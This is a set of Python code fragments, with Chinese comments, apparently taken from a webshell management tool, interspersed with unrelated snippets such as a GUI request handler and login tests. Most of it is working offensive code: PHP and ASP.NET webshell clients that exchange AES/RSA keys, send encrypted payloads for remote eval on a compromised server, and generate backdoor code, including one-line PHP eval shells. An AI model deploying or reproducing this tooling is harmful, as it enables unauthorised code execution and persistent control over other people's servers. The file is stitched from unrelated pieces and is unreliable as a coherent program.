def __init__(self): super().__init__() self.opener = Request() self.aes = None # 用于aes加密传输的aes对象 self.private_key = None self.public_key = None
def __make_request(self): if self.__entry.text(): req = Request("GET", self.__entry.text()) res = req.get_api() if res: return self.__set_data(res) else: return else: Error('Enter country name') self.__data_label.setText("")
def __init__(self): super().__init__() self.options.add_option( 'password', 'You need use this password to connect webshell server.', True, 'c', check=r'[\w\-]+') self.options.add_option( 'password_type', 'Password type like GET, POST or HEADER.If not set, will use POST type to connect server(server must use this type).', default='POST', check=r'(?i)GET|POST|HEADER') self.opener = Request()
def __init__(self): super().__init__() self.options.add_option( 'password', 'You need use this password to connect webshell server.', True, 'c', check=r'[\w\-]+') self.options.add_option( 'new_version', 'Specifies whether the remote webshell is a new version.', default=1, type=int, check=r'0|1') self.opener = Request() self.aes = None # 用于aes加密传输的aes对象
def connect(self)-> bool: '''connect target and return True, or False if connect failed. ''' self.opener = Request() self._create_key() key = self.aes.algorithm.key pwd = hashlib.sha256(self.options.password.encode()).hexdigest()[:16].encode() self._create_key(pwd) data = base64.b64encode(self._encrypt(key)) try: with self.opener.post(self.options.target, data, timeout=10) as f: ret = f.read() except BaseException as e: logger.error(e) return False if ret.strip() != base64.b64encode(key): logger.error(f"The accepted number `{ret.decode(self.options.encoding, 'ignore')}` does not match the expected `{base64.b64encode(key).decode()}`") return False self._create_key(key) return True
async def test_repeated_login(): login = generate(20) user_old = User(login=login) user_old.save() request = Request(None, None, generate(), 2, 0) data = { 'user': generate_id(), 'login': login.upper(), } res = await handle(request, data) assert res.get('id') assert res.get('new') user_new = User.get(ids=res['id'], fields={'login'}) assert user_new.login != process_lower(login) assert user_new.id != user_old.id
async def test_repeated_login(): login = generate(20) user_old = User(login=login, password='******') user_old.save() assert user_old.id assert user_old.login == process_lower(login) request = Request(None, None, generate(), 2, 0, SIO()) data = { 'login': login.upper(), 'password': '******', } res = await handle(request, data) assert res.get('id') assert res.get('new') == False user_new = User.get(ids=res['id'], fields={'login'}) assert user_new.login == process_lower(login) assert user_new.id == user_old.id
class webshell(PHPWebshell): def __init__(self): super().__init__() self.opener = Request() self.aes = None # 用于aes加密传输的aes对象 self.private_key = None self.public_key = None def _create_and_save_key(self) -> str: '''创建并保存一组秘钥,并填充当前的秘钥对象 ''' self.private_key = rsa.generate_private_key(public_exponent=65537, key_size=1024) self.public_key = self.private_key.public_key() key = os.urandom(32) iv = os.urandom(16) self.aes = Cipher(algorithms.AES(key), modes.CBC(iv)) ID = utils.randomstr(16) d = os.path.dirname(__file__) if not os.path.exists(os.path.join(d, 'keys')): os.mkdir(os.path.join(d, 'keys')) while os.path.exists(os.path.join(d, 'keys', ID)): ID = utils.randomstr(16) with open(os.path.join(d, 'keys', ID), 'wb') as f: pri = self.private_key.private_bytes( serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) pub = self.public_key.public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo) f.write(pri + b'\n') f.write(pub) return ID def _load_key(self, ID: str) -> bool: '''从文件中加载数据传输需要的秘钥对象 ''' path = os.path.join(os.path.dirname(__file__), 'keys', ID) if not os.path.isfile(path): return False with open(path, 'rb') as f: content = f.read() self.private_key = serialization.load_pem_private_key( content, None) self.public_key = serialization.load_pem_public_key(content) key = os.urandom(32) iv = os.urandom(16) self.aes = Cipher(algorithms.AES(key), modes.CBC(iv)) if isinstance(self.private_key, rsa.RSAPrivateKey) and isinstance( self.public_key, rsa.RSAPublicKey): return True return False def _encrypt(self, data: bytes) -> bytes: if not data: return b'' try: enc = self.aes.encryptor() padder = pad.PKCS7(128).padder() padded_data = padder.update(data) + padder.finalize() return enc.update(padded_data) + enc.finalize() except Exception as e: raise EncryptFailedError(e) def _decrypt(self, data: bytes) -> bytes: if not data: return b'' try: dec = self.aes.decryptor() unpadder = pad.PKCS7(128).unpadder() content = dec.update(data) + dec.finalize() return unpadder.update(content) + unpadder.finalize() except Exception as e: raise DecryptFailedError(e) def connect(self) -> bool: '''connect target and return True, or False if connect failed. ''' ID = '0' try: with self.opener.post(self.options.target, timeout=10) as f: ID = f.read() except BaseException: logger.error('Failed to connect to webshell') return False ID = ID.decode(self.options.encoding, 'ignore') if not self._load_key(ID): logger.error(f"Failed to load secret key for `{ID}`") return False iv = self.aes.mode.initialization_vector data = { utils.randomstr(8): base64.b64encode( self.public_key.encrypt(self.aes.algorithm.key, padding.PKCS1v15())).decode(), 'iv': base64.b64encode(iv).decode() } try: with self.opener.post(self.options.target, data, timeout=10) as f: ID = f.read() except BaseException as e: logger.error(e) logger.error('Error in key delivery.') return False if ID != base64.b64encode(iv): logger.error( f"The accepted number `{ID}` does not match the expected `{base64.b64encode(iv)}`" ) return False return True @Webshell.handle_evaled def eval(self, payload: PHPPayload) -> EvalResult: '''执行payload并获取返回结果''' payload = self._encrypt(payload.code) payload = base64.b64encode(payload).decode() data = {utils.randomstr(8): payload} result = EvalResult() try: with self.opener.post(self.options.target, data, timeout=self.options.timeout) as f: data = f.read() data = self._decrypt(data) data = json.loads(data) if not self._error_handler(data, result): return result data = base64.b64decode(data['data'].encode()).decode( self.options.encoding, 'ignore') result.data = data return result except (EncryptFailedError, DecryptFailedError) as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) print(f"Error data: {data[:100]}") except HttpException as e: err = self.EvalError( 'HttpException', f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}", False, False) result.add_error_info(err) if self.options.verbose > 1: logger.error(err) except Exception as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) return result def _error_handler(self, error: dict, result: EvalResult) -> bool: '''处理webshell返回的错误信息 ''' if error['code'] != 1: for msg in error['msg']: code = self._to_php_errcode(msg.get('errcode')) err = self.EvalError( code, base64.b64decode(msg.get('errmsg').encode()).decode( self.options.encoding, 'ignore'), True if error['code'] == 0 or msg.get('iswarning') else False, True) result.add_error_info(err) if err.iswarning and self.options.verbose > 1: logger.warning(err) elif not err.iswarning and self.options.verbose > 0: logger.error(err) if error['code'] == -1: return False return True def generate(self) -> bytes: '''生成并返回webshell代码''' ID = self._create_and_save_key() p = PHPPayload('templete.php', ID=ID, pri_key=self.private_key.private_bytes( serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())) code = b'<?php\n' + p.code + b'\n?>' return code
class webshell(CSharpWebshell): def __init__(self): super().__init__() self.options.add_option('password', 'You need use this password to connect webshell server.', True, 'c', check=r'[\w\-]+') self.opener = None self.aes = None # 用于aes加密传输的aes对象 def _create_key(self, key: bytes=None): '''创建秘钥,并填充当前的秘钥对象 ''' if key is None: key = os.urandom(32) iv = key[:16] self.aes = Cipher(algorithms.AES(key), modes.CBC(iv)) def _encrypt(self, data:bytes)-> bytes: if not data: return b'' try: enc = self.aes.encryptor() padder = pad.PKCS7(128).padder() padded_data = padder.update(data) + padder.finalize() return enc.update(padded_data)+enc.finalize() except Exception as e: raise EncryptFailedError(e) def _decrypt(self, data: bytes)-> bytes: if not data: return b'' try: dec = self.aes.decryptor() unpadder = pad.PKCS7(128).unpadder() content = dec.update(data)+dec.finalize() return unpadder.update(content)+unpadder.finalize() except Exception as e: raise DecryptFailedError(e) def connect(self)-> bool: '''connect target and return True, or False if connect failed. ''' self.opener = Request() self._create_key() key = self.aes.algorithm.key pwd = hashlib.sha256(self.options.password.encode()).hexdigest()[:16].encode() self._create_key(pwd) data = base64.b64encode(self._encrypt(key)) try: with self.opener.post(self.options.target, data, timeout=10) as f: ret = f.read() except BaseException as e: logger.error(e) return False if ret.strip() != base64.b64encode(key): logger.error(f"The accepted number `{ret.decode(self.options.encoding, 'ignore')}` does not match the expected `{base64.b64encode(key).decode()}`") return False self._create_key(key) return True @Webshell.handle_evaled def eval(self, payload: CSharpPayload)-> EvalResult: '''执行payload并获取返回结果''' payload = self._encrypt(payload.code) payload = base64.b64encode(payload) headers = {} if self.options.extra_assemblys: headers['Token'] = base64.b64encode(self._encrypt(self._generate_extra_assemblys_string().encode())).decode() result = EvalResult() try: with self.opener.post(self.options.target, payload, timeout=self.options.timeout, headers=headers) as f: data = f.read() data = base64.b64decode(data) data = self._decrypt(data) data = json.loads(data) if not self._error_handler(data, result): return result data = base64.b64decode(data['data'].encode()).decode(self.options.encoding, 'ignore') result.data = data return result except (EncryptFailedError, DecryptFailedError) as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) print(f"Error data: {data[:100]}") except HttpException as e: err = self.EvalError('HttpException', f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}", False, False) result.add_error_info(err) if self.options.verbose > 1: logger.error(err) except BaseException as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) return result def _error_handler(self, error: dict, result: EvalResult)-> bool: '''处理webshell返回的错误信息 ''' if error['code'] != 1: for msg in error['msg']: err = self.EvalError(msg[0], base64.b64decode(msg[1].encode()).decode(self.options.encoding, 'ignore'), True if error['code'] == 0 or msg[2] else False, True) result.add_error_info(err) if err.iswarning and self.options.verbose > 1: logger.warning(err) elif not err.iswarning and self.options.verbose > 0: logger.error(err) if error['code'] == -1: return False return True def generate(self)-> bytes: '''生成并返回webshell代码''' self._create_key() code = '' path = os.path.join(os.path.dirname(__file__), "templete.aspx") with open(path, 'rb') as f: code = f.read().decode() pwd = hashlib.sha256(self.options.password.encode()).hexdigest() code = utils.templete_0(code, pwd=pwd[:16]) return code.encode()
class webshell(CSharpWebshell): def __init__(self): super().__init__() self.options.add_option( 'password', 'You need use this password to connect webshell server.', True, 'c', check=r'[\w\-]+') self.options.add_option( 'new_version', 'Specifies whether the remote webshell is a new version.', default=1, type=int, check=r'0|1') self.opener = Request() self.aes = None # 用于aes加密传输的aes对象 def _create_key(self, key: bytes): iv = key self.aes = Cipher(algorithms.AES(key), modes.CBC(iv)) def _encrypt(self, data: bytes) -> bytes: if not data: return b'' try: enc = self.aes.encryptor() padder = pad.PKCS7(128).padder() padded_data = padder.update(data) + padder.finalize() return enc.update(padded_data) + enc.finalize() except Exception as e: raise EncryptFailedError(e) def _decrypt(self, data: bytes) -> bytes: if not data: return b'' try: dec = self.aes.decryptor() unpadder = pad.PKCS7(128).unpadder() content = dec.update(data) + dec.finalize() return unpadder.update(content) + unpadder.finalize() except Exception as e: raise DecryptFailedError(e) def connect(self) -> bool: '''connect target and return True, or False if connect failed. ''' if not self.options.new_version: data = {'pass': self.options.password} try: with self.opener.post(self.options.target, data, timeout=10) as f: ret = f.read() if len(ret) == 16: self._create_key(ret) else: raise Exception("Error response!") except BaseException as e: logger.error(e) return False else: # 新shell h = hashlib.md5() h.update(self.options.password.encode()) self._create_key(h.hexdigest()[:16].encode()) sign = "gyhnb" p = CSharpPayload(os.path.join(os.path.dirname(__file__), 'new_version_test.cs'), sign=sign) ret = self.eval(p) if not ret.is_success() or ret.data != sign: logger.error( f"The expected response is `{sign}`, actually `{ret.data}`" ) return False return True @Webshell.handle_evaled def eval(self, payload: CSharpPayload) -> EvalResult: '''执行payload并获取返回结果''' trans = b'' with open( os.path.join( os.path.dirname(__file__), 'temp.new.dll' if self.options.new_version else 'temp.old.dll'), 'rb') as f: trans = f.read() payload = trans + b"gyhnb" + payload.code payload = self._encrypt(payload) headers = {} if self.options.extra_assemblys: headers['Token'] = base64.b64encode( self._encrypt(self._generate_extra_assemblys_string().encode()) ).decode() result = EvalResult() try: with self.opener.post(self.options.target, payload, headers, timeout=self.options.timeout) as f: data = f.read() data = base64.b64decode(data) data = self._decrypt(data) data = json.loads(data) if not self._error_handler(data, result): return result data = base64.b64decode(data['data'].encode()).decode( self.options.encoding, 'ignore') result.data = data return result except (EncryptFailedError, DecryptFailedError) as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) print(f"Error data: {data[:100]}") except HttpException as e: err = self.EvalError( 'HttpException', f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}", False, False) result.add_error_info(err) if self.options.verbose > 1: logger.error(err) except BaseException as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) return result def _error_handler(self, error: dict, result: EvalResult) -> bool: '''处理webshell返回的错误信息 ''' if error['code'] != 1: for msg in error['msg']: err = self.EvalError( msg[0], base64.b64decode(msg[1].encode()).decode( self.options.encoding, 'ignore'), True if error['code'] == 0 or msg[2] else False, True) result.add_error_info(err) if err.iswarning and self.options.verbose > 1: logger.warning(err) elif not err.iswarning and self.options.verbose > 0: logger.error(err) if error['code'] == -1: return False return True def generate(self) -> bytes: '''生成并返回webshell代码''' code = '' path = os.path.join( os.path.dirname(__file__), "templete.new.aspx" if self.options.new_version else "templete.old.aspx") with open(path, 'rb') as f: code = f.read().decode() if self.options.new_version: h = hashlib.md5() h.update(self.options.password.encode()) code = utils.templete_0(code, pwd=h.hexdigest()[:16]) return code.encode()
class webshell(PHPWebshell): def __init__(self): super().__init__() self.options.add_option( 'password', 'You need use this password to connect webshell server.', True, 'c', check=r'[\w\-]+') self.options.add_option( 'password_type', 'Password type like GET, POST or HEADER.If not set, will use POST type to connect server(server must use this type).', default='POST', check=r'(?i)GET|POST|HEADER') self.opener = Request() def connect(self) -> bool: '''connect target and return True, or False if connect failed. ''' num = random.randint(10000, 9999999999999) p = PHPPayload() p.from_string(f'echo {num};') recv = self.eval(p) if not recv.is_success(): logger.error("Connect error!") return False if recv.data != str(num): print(f'\nRecv: {recv.data}\nExpect: {num}') logger.error('Server reply a incorrect answer!') return False return True @Webshell.handle_evaled def eval(self, payload: PHPPayload) -> EvalResult: '''执行payload并获取返回结果''' password_type = self.options.password_type.upper() payload_param_name = utils.randomstr(8) payload = base64.b64encode(payload.code).decode() trans_payload = PHPPayload( 'transfer.php', payload_param_name=payload_param_name).code.decode() data = {payload_param_name: payload} headers = {} query = {} if password_type == 'POST': data[self.options.password] = trans_payload elif password_type == 'GET': query[self.options.password] = trans_payload elif password_type == 'HEADER': trans_payload = trans_payload.replace('\r', '').replace('\n', '') # 头部传输时消除换行 headers.update({self.options.password: trans_payload}) result = EvalResult() try: with self.opener.reuqest(self.options.target, data=data, headers=headers, params=query, timeout=self.options.timeout) as f: data = f.read() data = json.loads(data) if not self._error_handler(data, result): return result data = base64.b64decode(data['data'].encode()).decode( self.options.encoding, 'ignore') result.data = data return result except json.JSONDecodeError as e: err = self.EvalError(e.__class__.__name__, e.msg, False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) print(f"Error data: {data}") except HttpException as e: err = self.EvalError( 'HttpException', f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}", False, False) result.add_error_info(err) if self.options.verbose > 1: logger.error(err) except Exception as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) return result def _error_handler(self, error: dict, result: EvalResult) -> bool: '''处理webshell返回的错误信息 ''' if error['code'] != 1: for msg in error['msg']: code = self._to_php_errcode(msg.get('errcode')) err = self.EvalError( code, base64.b64decode(msg.get('errmsg').encode()).decode( self.options.encoding, 'ignore'), True if error['code'] == 0 or msg.get('iswarning') else False, True) result.add_error_info(err) if err.iswarning and self.options.verbose > 1: logger.warning(err) elif not err.iswarning and self.options.verbose > 0: logger.error(err) if error['code'] == -1: return False return True def generate(self) -> bytes: '''生成并返回webshell代码''' if self.options.password_type.upper() == 'HEADER': return f"<?php @eval($_SERVER['{self.options.password}']);?>".encode( ) elif self.options.password_type.upper() == 'GET': return f"<?php @eval($_GET['{self.options.password}']);?>".encode() else: return f"<?php @eval($_POST['{self.options.password}']);?>".encode( )